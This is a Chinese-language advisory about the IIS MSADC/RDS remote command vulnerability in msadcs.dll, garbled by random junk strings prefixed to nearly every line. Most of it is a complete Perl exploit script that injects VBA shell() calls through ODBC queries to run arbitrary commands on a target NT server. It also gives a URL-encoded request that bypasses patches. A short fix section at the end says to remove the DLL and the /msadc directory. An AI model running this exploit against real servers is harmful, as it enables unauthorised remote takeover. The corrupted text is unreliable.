IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
mcy\nAf5% +>/ariRr 涉及程序:
OXe+=Lp< Microsoft NT server
[9(tIb!x t.$3?"60~ 描述:
H;s 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
CnSf GsE> hEi]-N\X 详细:
{YC!pDG 如果你没有时间读详细内容的话,就删除:
Ehi)n)HhG" c:\Program Files\Common Files\System\Msadc\msadcs.dll
k{;"Aj:iL 有关的安全问题就没有了。
&PVos|G ye:pGa w 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
/x,gdZPX rZ2X$FO@ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
b6:A-jb*I 关于利用ODBC远程漏洞的描述,请参看:
(+68s9XS7 C93BK)$} http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Xf!@uS6<X X1&Ug^ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
<nlZ?~%} http://www.microsoft.com/security/bulletins/MS99-025faq.asp _BO:~x LSQWveZz 这里不再论述。
^u&oS1U oW(lQ'" 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
#no~g(!o Zt4g G KG /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
g@wF2= 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
qYR
$5 >J[Bf9)> |I-;CoAg #将下面这段保存为txt文件,然后: "perl -x 文件名"
8@]*X,umc W^npzgDCo #!perl
.)
uUpY%K^ #
B4 yU}v # MSADC/RDS 'usage' (aka exploit) script
|z\5Ik!fF] #
|x@)%QeC # by rain.forest.puppy
7[h_"@_A7 #
XK??5'&{ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
&[:MTK?x! # beta test and find errors!
;Pf
|\q [ -"o5!0< use Socket; use Getopt::Std;
gNF8&T getopts("e:vd:h:XR", \%args);
K]ob>wPf nwswy]e8/ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
+^ a9i5 bP\0S@1YL if (!defined $args{h} && !defined $args{R}) {
A'r 3%mC print qq~
E9z^# @s Usage: msadc.pl -h <host> { -d <delay> -X -v }
=y-L'z&r -h <host> = host you want to scan (ip or domain)
CF"$&+ s9 -d <seconds> = delay between calls, default 1 second
rCfr&>nn -X = dump Index Server path table, if available
<6QG7i -v = verbose
uMVM- (g% -e = external dictionary file for step 5
%|E'cdvkX nfpkWyI u{ Or a -R will resume a command session
`q|&;wP.
u$ C@0d ~; exit;}
=sy>_ q9cmtZrm $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
mkgGX|k; if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Ck;O59A"&- if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
7?Q@Hj(:NT if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
o#3?")>| $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
y_EkW
f if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
uw! JwCv(1$GM if (!defined $args{R}){ $ret = &has_msadc;
VH[r@Pn die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
BCsz8U! MJNY#v3 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
d]1%/$v^ . "cmd /c ";
2{;&c $in=<STDIN>; chomp $in;
J$6h%Eyo $command="cmd /c " . $in ;
AQn>K{M S^q)DuF5! if (defined $args{R}) {&load; exit;}
NbOeF7cq+ j,%@%upM print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
)Y%>t &try_btcustmr;
n,sf$9" "hwg";Z$n print "\nStep 2: Trying to make our own DSN...";
f!6oW( r-L &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
=|>CB hY
2nT print "\nStep 3: Trying known DSNs...";
[-o`^; &known_dsn;
Gr9/@U+ vSty.:bY\p print "\nStep 4: Trying known .mdbs...";
X"WKgC g$ &known_mdb;
T=r-6eN r=GF*i[3 if (defined $args{e}){
q/y4HT,x print "\nStep 5: Trying dictionary of DSN names...";
MuNM)pyxp &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
5`qt82Qm ,XT#V\qne print "Sorry Charley...maybe next time?\n";
nk.Y#+1) exit;
[Du@go1C GT\,
@$r ##############################################################################
3t<XbHF9 i`[5%6\"& sub sendraw { # ripped and modded from whisker
+5J "G/f sleep($delay); # it's a DoS on the server! At least on mine...
'J^ M`/ my ($pstr)=@_;
bwh7.lDAl socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
kN3 T/96 die("Socket problems\n");
tP; &$y.8 if(connect(S,pack "SnA4x8",2,80,$target)){
)|;*[S4 select(S); $|=1;
`nBCCz'Y! print $pstr; my @in=<S>;
nQ|4.e; select(STDOUT); close(S);
FR~YO|4? return @in;
?^Sk17G } else { die("Can't connect...\n"); }}
WrK!]17or rZRcy9$y> ##############################################################################
NGYliP,.6 5dffFe sub make_header { # make the HTTP request
]zp5 6U|xa my $msadc=<<EOT
3:Bwf)* POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
!sda6?& User-Agent: ACTIVEDATA
}e3M5LI1L Host: $ip
.C^1.) Content-Length: $clen
&`>[4D* Connection: Keep-Alive
e$F]t*)Xa z;1y7W!v ADCClientVersion:01.06
=Y`P}vI]w% Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Rz}?@zh_8 n}== --!ADM!ROX!YOUR!WORLD!
\PS{/XK Content-Type: application/x-varg
M99#\0=/ Content-Length: $reqlen
i`o}*`// ?DcR D)X EOT
xe^*\6Y ; $msadc=~s/\n/\r\n/g;
U3r[ysf return $msadc;}
( Lj{V}^ \)'nxFKqV ##############################################################################
`|K,E b?Wg|D sub make_req { # make the RDS request
3L/qU^` my ($switch, $p1, $p2)=@_;
=ark?<E my $req=""; my $t1, $t2, $query, $dsn;
%M8Egr2|0 a%*l]S0z" if ($switch==1){ # this is the btcustmr.mdb query
~ILig}I $query="Select * from Customers where City=" . make_shell();
;9r
Z{'i+| $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
Q(SVJ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
1xK'1g72 xt]Z{:. elsif ($switch==2){ # this is general make table query
SQ#6~zxl $query="create table AZZ (B int, C varchar(10))";
d
q=>-^o $dsn="$p1";}
l@`D;m MWf ]U elsif ($switch==3){ # this is general exploit table query
V~LZ%NZ8 $query="select * from AZZ where C=" . make_shell();
YArNJ5z= $dsn="$p1";}
1|Y(XB^os( w+VeT @ elsif ($switch==4){ # attempt to hork file info from index server
8+vZ9!7 $query="select path from scope()";
L'{;V\d $dsn="Provider=MSIDXS;";}
A.7:.5Cx' Dd|}LV elsif ($switch==5){ # bad query
g-'y_'%0G $query="select";
zx^]3} $dsn="$p1";}
h}xUZ: #1R_*
Uh $t1= make_unicode($query);
0
eZfHW& $t2= make_unicode($dsn);
H"(:6
` $req = "\x02\x00\x03\x00";
MhC74G $req.= "\x08\x00" . pack ("S1", length($t1));
5zJkPki $req.= "\x00\x00" . $t1 ;
VlW#_. $req.= "\x08\x00" . pack ("S1", length($t2));
T=cSTS!P;q $req.= "\x00\x00" . $t2 ;
Rf@D]+v $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
;SQ<^"eK return $req;}
Wd4fIegk L/(e/Jalg ##############################################################################
(^GVy= Myss$gt} sub make_shell { # this makes the shell() statement
khT&[!J{> return "'|shell(\"$command\")|'";}
,CW]d#P| o
D; ##############################################################################
,2S
<#p! /2^cty.BXw sub make_unicode { # quick little function to convert to unicode
J*6I@_{/U my ($in)=@_; my $out;
E%eao$ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
3ojK2F(1D return $out;}
1wUZ0r1' Cw?AP6f% ##############################################################################
xrx{8pf 1!/+~J[# sub rdo_success { # checks for RDO return success (this is kludge)
{frEVHw my (@in) = @_; my $base=content_start(@in);
WO*yJ`9] if($in[$base]=~/multipart\/mixed/){
I Vy,A7f return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Bc}<B:q%b return 0;}
`7jm Fk D ##############################################################################
mOwgk7s[J >7!aZO sub make_dsn { # this makes a DSN for us
_dqjRhu my @drives=("c","d","e","f");
_5a]pc$\Y] print "\nMaking DSN: ";
YVVX7hB foreach $drive (@drives) {
IWu^a w print "$drive: ";
i]GBu my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
!s,<hU# "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
lp[3z&u . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
ub6\m=Y7 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
($(6]?J(?7 return 0 if $2 eq "404"; # not found/doesn't exist
T(+F6d=1 if($2 eq "200") {
V5rnI\:7 foreach $line (@results) {
^7q=E@[e return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
!mBsDn(J } return 0;}
X[k-J\ A(_AOoA' ##############################################################################
B%6bk. L5T)_iQ5 sub verify_exists {
^
vI| my ($page)=@_;
nR/; uTTz my @results=sendraw("GET $page HTTP/1.0\n\n");
,r5<v_ return $results[0];}
r0G#BPgdR d_J?i]AP|' ##############################################################################
iMx+y5O Y=X"YH| sub try_btcustmr {
MSeO#X my @drives=("c","d","e","f");
wI>JOV7 my @dirs=("winnt","winnt35","winnt351","win","windows");
L:YsAv 1hZM)) foreach $dir (@dirs) {
y:4Sw#M%( print "$dir -> "; # fun status so you can see progress
;0E"4(S.q1 foreach $drive (@drives) {
j-gLX print "$drive: "; # ditto
;TSnIC)c $reqlen=length( make_req(1,$drive,$dir) ) - 28;
CkoPno $reqlenlen=length( "$reqlen" );
6uDA{[OH $clen= 206 + $reqlenlen + $reqlen;
f<SSg*A; x+B~ t4A my @results=sendraw(make_header() . make_req(1,$drive,$dir));
dQM# -t4* if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
js`zQx' else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
JmNeqpbB`w @usQ*k ##############################################################################
+azPpGZ= PB>p"[ap4 sub odbc_error {
W/oRt<:E my (@in)=@_; my $base;
N(vbo my $base = content_start(@in);
OpxVy _5, if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
yD1*^~ loJ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
2DQ'h}BI $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
yE9JMi0 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
6(9Ta'ywZ return $in[$base+4].$in[$base+5].$in[$base+6];}
lk.Q6saI1 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
F/j=rs,*|D print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
@PwEom`a $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
?]fBds= 7P/j\frW ##############################################################################
IX7d[nm39 v{
C]\8 sub verbose {
QN_5q5 my ($in)=@_;
V EY !0PIj return if !$verbose;
@mP@~ print STDOUT "\n$in\n";}
>o.u, 7vr)JT= ##############################################################################
TeqFy( Dr "]c:V4S#`A sub save {
#PXl*~PrQ/ my ($p1, $p2, $p3, $p4)=@_;
h>mQ; L open(OUT, ">rds.save") || print "Problem saving parameters...\n";
$L</{bXW print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
{(a@3m~a% close OUT;}
3kR- WgVF, ^ Jnp\o> ##############################################################################
R2]?9\II :NbD^h)R sub load {
O.rk!&N my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
ac+7D:X open(IN,"<rds.save") || die("Couldn't open rds.save\n");
+Yi=Wo/ @p=<IN>; close(IN);
oeIB1DaI $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
XQj`KUO@ $target= inet_aton($ip) || die("inet_aton problems");
5\|[)~b print "Resuming to $ip ...";
DP;B*s4{U $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
\!cqeg*53 if($p[1]==1) {
8.-PQ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
*<9 D] $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
I$f:K]|.m! my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
Fi5,y;]R if (rdo_success(@results)){print "Success!\n";}
Ce 5
}+A} else { print "failed\n"; verbose(odbc_error(@results));}}
gFDP:I/` elsif ($p[1]==3){
u85y;AE,( if(run_query("$p[3]")){
A1Q]KS@ print "Success!\n";} else { print "failed\n"; }}
2#+@bk>^{ elsif ($p[1]==4){
xmiF!R if(run_query($drvst . "$p[3]")){
R63"j\0 print "Success!\n"; } else { print "failed\n"; }}
&<_sXHg<x exit;}
&OI=rvDmo ][G<CO`k ##############################################################################
_"WQi}Mm `n^jU92 sub create_table {
qk_
s"}sS my ($in)=@_;
L7D'wf $reqlen=length( make_req(2,$in,"") ) - 28;
Q8:u 1$} $reqlenlen=length( "$reqlen" );
f[|xp?ef $clen= 206 + $reqlenlen + $reqlen;
TqQ>\h"&_ my @results=sendraw(make_header() . make_req(2,$in,""));
_|A)ueY return 1 if rdo_success(@results);
$ ~D`-+J my $temp= odbc_error(@results); verbose($temp);
:~T:&;q0 return 1 if $temp=~/Table 'AZZ' already exists/;
uL-i>!"L!} return 0;}
=,T~F3pK + !_^MB kk ##############################################################################
;U20g:K Q 5@~0 sub known_dsn {
a'T|p)N.;T # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
j,1,; my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
<EBp X "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
sXhtn'<v "banner", "banners", "ads", "ADCDemo", "ADCTest");
8:t-I]dzk a[(n91J0 foreach $dSn (@dsns) {
.mok.f<G_m print ".";
m%Ef]({I next if (!is_access("DSN=$dSn"));
2&tGJq-E if(create_table("DSN=$dSn")){
u|QfCwQ print "$dSn successful\n";
6eS#L2 1* if(run_query("DSN=$dSn")){
:=i0$k<E/ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
/au\OBUge print "Something's borked. Use verbose next time\n";}}} print "\n";}
cOUO_xp( ~(%G;fZ?x ##############################################################################
Nju7!yVM_ W1:o2 C7 sub is_access {
,Y`C7Px my ($in)=@_;
?<nz2 piP, $reqlen=length( make_req(5,$in,"") ) - 28;
{g @
*jo& $reqlenlen=length( "$reqlen" );
@'}X&TN<a $clen= 206 + $reqlenlen + $reqlen;
-TD6s:' my @results=sendraw(make_header() . make_req(5,$in,""));
DJ<c my $temp= odbc_error(@results);
Zb9@U: \ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
}(hE{((o return 0;}
MnX2sX| ^ g4)aaBZ ##############################################################################
Y^6=_^ t: [[5];E sub run_query {
XD|&{/O my ($in)=@_;
DG:=E/ @ $reqlen=length( make_req(3,$in,"") ) - 28;
.qVdo+M%F $reqlenlen=length( "$reqlen" );
VWMCbg>R $clen= 206 + $reqlenlen + $reqlen;
LZoth+: my @results=sendraw(make_header() . make_req(3,$in,""));
x%(!+ return 1 if rdo_success(@results);
ikxSWO_Y= my $temp= odbc_error(@results); verbose($temp);
ho(Y?'^t3 return 0;}
_O rE{ Y/$SriC_+' ##############################################################################
_8S).* J@Orrz2q# sub known_mdb {
%
tJ?dlD' my @drives=("c","d","e","f","g");
X`aED\#\h my @dirs=("winnt","winnt35","winnt351","win","windows");
94a_ W9 my $dir, $drive, $mdb;
3aDma/ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
|2oB3 \)/ [0~qs|27 # this is sparse, because I don't know of many
>K
&b,o,[ my @sysmdbs=( "\\catroot\\icatalog.mdb",
'.dW>7 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
#Kh`ATme "\\system32\\certmdb.mdb",
Mq7|37(N[ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
#JW1JCT
EAq >v
t83 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
1gt[_P2u "\\cfusion\\cfapps\\forums\\forums_.mdb",
&c\8`# 6 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
{==Q6BG* "\\cfusion\\cfapps\\security\\realm_.mdb",
qkBnEPWZy "\\cfusion\\cfapps\\security\\data\\realm.mdb",
qb9%Y/xy "\\cfusion\\database\\cfexamples.mdb",
WYh7Y "\\cfusion\\database\\cfsnippets.mdb",
5o72X k "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
>)5vsqGZaK "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
;J5oO$H+68 "\\cfusion\\brighttiger\\database\\cleam.mdb",
j2\G1@05 "\\cfusion\\database\\smpolicy.mdb",
K^>qn,]H' "\\cfusion\\database\cypress.mdb",
,%jJ
,G, "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
IcIMa "\\website\\cgi-win\\dbsample.mdb",
.9ROa#7U;n "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
S3=J1R, "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
,2cw9?< ); #these are just
+Rh'VZJs foreach $drive (@drives) {
X<?;-HrS; foreach $dir (@dirs){
5$#<z1M.& foreach $mdb (@sysmdbs) {
$"UAJ - print ".";
H{}6`;W if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
]':C~-RV{ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
(%r:PcGMEV if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
xj~6,;83xR print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
WkO . } else { print "Something's borked. Use verbose next time\n"; }}}}}
I3L1|! x[?_F foreach $drive (@drives) {
wXZ-%,R-D foreach $mdb (@mdbs) {
Zn^E print ".";
\GWq0z& if(create_table($drv . $drive . $dir . $mdb)){
+X?jf.4 print "\n" . $drive . $dir . $mdb . " successful\n";
1rKR=To if(run_query($drv . $drive . $dir . $mdb)){
.DX#:?@4@Y print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
[Dt\E4 } else { print "Something's borked. Use verbose next time\n"; }}}}
z7K?rgH }
"ulaF+ JBYQ7SsAS0 ##############################################################################
3dM6zOK F-R`'{ ka sub hork_idx {
%sq=lW5R{b print "\nAttempting to dump Index Server tables...\n";
ydFY<Mb(o print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Ltj}>.+ $reqlen=length( make_req(4,"","") ) - 28;
l-Xxv $reqlenlen=length( "$reqlen" );
RS:0xN\JN $clen= 206 + $reqlenlen + $reqlen;
MVj@0W33m my @results=sendraw2(make_header() . make_req(4,"",""));
q{@Wn]!k if (rdo_success(@results)){
q3[LnmH my $max=@results; my $c; my %d;
UkYQ<MNO for($c=19; $c<$max; $c++){
i3~!ofTb $results[$c]=~s/\x00//g;
;'Y?wH[ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
-@73" w/ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
cn#a/Hx $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
L fi]s $d{"$1$2"}="";}
}E=kfMu foreach $c (keys %d){ print "$c\n"; }
tyDtwV| } else {print "Index server doesn't seem to be installed.\n"; }}
)CmuC@ Q" G]S E
A ##############################################################################
0N}5sF s,}<5N]U sub dsn_dict {
sDF J open(IN, "<$args{e}") || die("Can't open external dictionary\n");
YU"Am ! while(<IN>){
3}+/\:q* $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
X}!_p& WI next if (!is_access("DSN=$dSn"));
U!'lc}5 if(create_table("DSN=$dSn")){
%MIu;u FR print "$dSn successful\n";
[X
I5Bu ~ if(run_query("DSN=$dSn")){
Cse0!7_T print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
l?~ci
;lG print "Something's borked. Use verbose next time\n";}}}
lz*PNT{E print "\n"; close(IN);}
5>=tNbk"s eS"gHldz ##############################################################################
Brl6r8LGi EvYw$j sub sendraw2 { # ripped and modded from whisker
<Kh\i'8 sleep($delay); # it's a DoS on the server! At least on mine...
XX F9oy8 my ($pstr)=@_;
JC#@sJ4az) socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Dux`BKl die("Socket problems\n");
G^R;~J*TDE if(connect(S,pack "SnA4x8",2,80,$target)){
Q\oUZnD$= print "Connected. Getting data";
}}2kA open(OUT,">raw.out"); my @in;
pFK
|4u select(S); $|=1; print $pstr;
qYh,No5\;t while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
-3V~YhG close(OUT); select(STDOUT); close(S); return @in;
<,GHy/u\ } else { die("Can't connect...\n"); }}
9,Mp/.T" \ k@~-|\ooG ##############################################################################
B -KOf -{wuF0f sub content_start { # this will take in the server headers
79V5{2Y*U my (@in)=@_; my $c;
bDkE*4SRX for ($c=1;$c<500;$c++) {
8 N` $7^^ if($in[$c] =~/^\x0d\x0a/){
*"5a5.`%, if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
1Q%.-vs else { return $c+1; }}}
gB"Tc[l1 return -1;} # it should never get here actually
(HF,p,h_ epL[PL} ##############################################################################
EH3G|3^xz NWg\{a sub funky {
cjR.9bgn my (@in)=@_; my $error=odbc_error(@in);
SQ!lgm1bA if($error=~/ADO could not find the specified provider/){
]UI+6}r print "\nServer returned an ADO miscofiguration message\nAborting.\n";
sHuz10 exit;}
V588Leb? if($error=~/A Handler is required/){
qh'BrYu* print "\nServer has custom handler filters (they most likely are patched)\n";
JA}'d7yEa exit;}
?
1{S_ if($error=~/specified Handler has denied Access/){
@Otc$hj print "\nServer has custom handler filters (they most likely are patched)\n";
3oKGeB;Ja exit;}}
[0LqZ<\5 %(Ys-GeGr ##############################################################################
""+*Gn7^8 pd1m/: sub has_msadc {
Psa8OJan my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
85fDuJ9$Z" my $base=content_start(@results);
AN>`M?EQ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
B#MW`7c return 0;}
>2:S v1T /$z@_U[L ########################
v (h Xk]S =s]{ 9vTQ^*bm 解决方案:
8_m9CQ6 i 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
TxvPfU? 2、移除web 目录: /msadc